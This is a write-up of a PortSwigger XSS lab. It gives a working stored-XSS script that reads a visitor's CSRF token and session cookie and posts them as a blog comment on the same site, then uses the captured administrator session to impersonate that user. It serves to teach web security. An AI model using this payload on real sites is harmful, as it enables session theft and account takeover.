Lab - Exploiting XSS to Steal Cookies
This writeup covers exploiting a stored XSS vulnerability to steal session cookies and impersonate users, part of the PortSwigger XSS lab series.
Introduction
This is a practical and interesting lab from PortSwigger’s XSS series. It consists of not just finding an XSS vulnerability, but actually exploiting it — specifically to steal another user’s cookie and impersonate them.
For the professional report of findings, you can find it here: report
Investigation
We can find the usual blog as shown in the following image:
The challenge states that there is already an XSS vulnerability in the comment functionality, so let’s test it. As shown in the following image, we insert a basic HTML payload:
As we can see in the following image, the XSS vulnerability is confirmed:
Now the challenge consists of actually exploiting this XSS vulnerability to perform cookie stealing. However, there is a catch: we need a webhook, and this challenge only accepts Burp Collaborator’s default public server (To solve the lab, you must use Burp Collaborator's default public server.). Since that requires a paid Burp Suite license, we are going to use an XSS + CSRF-like approach instead. Specifically, we will craft a payload that makes the admin post their own cookie as a comment.
Exploitation and Payload
After testing the comment functionality and intercepting traffic with Burp Suite, I discovered that the endpoint responsible for submitting a comment is /post/comment, with the parameters shown in the following image:
The payload is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
document.addEventListener("DOMContentLoaded", () => {
const csrf_token = document.querySelector('input[name="csrf"]').value;
let cookie_t = document.cookie;
fetch("/post/comment", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `csrf=${csrf_token}&postId=9&comment=${cookie_t}&name=sdasd&email=fdf%40ca.com&website=https%3A%2F%2Fdsfl343klfdsf4wl.net`
});
});
</script>
We use the DOMContentLoaded event listener to ensure the CSRF token is extracted from the input field only after the DOM is fully loaded, since the script might otherwise execute before the input is available. We also include the CSRF token because it is required for the POST request.
Note that the postId is hardcoded here — make sure to check your own post ID before blindly submitting this payload.
After submitting the payload, a new comment appears as shown in the following image:
This is the cookie of the user we are trying to impersonate, composed of two fields:
1
secret=rcNX99IVg8M3DccFvbFy5NCXXNU3zyVF; session=psoYlcBjyKj5xCWrKt4lszD6wOWf61ss
We take the session field and paste it into the browser’s cookies.
After refreshing the page, the challenge is solved and we can access /my-account?id=administrator:
Conclusion
We leveraged XSS combined with a CSRF-like technique to solve this lab — a workaround for not having a Burp Suite Professional license.
The key difference between actual CSRF and what we did here is that CSRF typically causes the victim’s browser to send a request to an external service, whereas in this case we sent the request to an internal endpoint on the same site.
For the full professional report, you can find it here.

.png)
.png)
.png)
.png)
.png)
.png)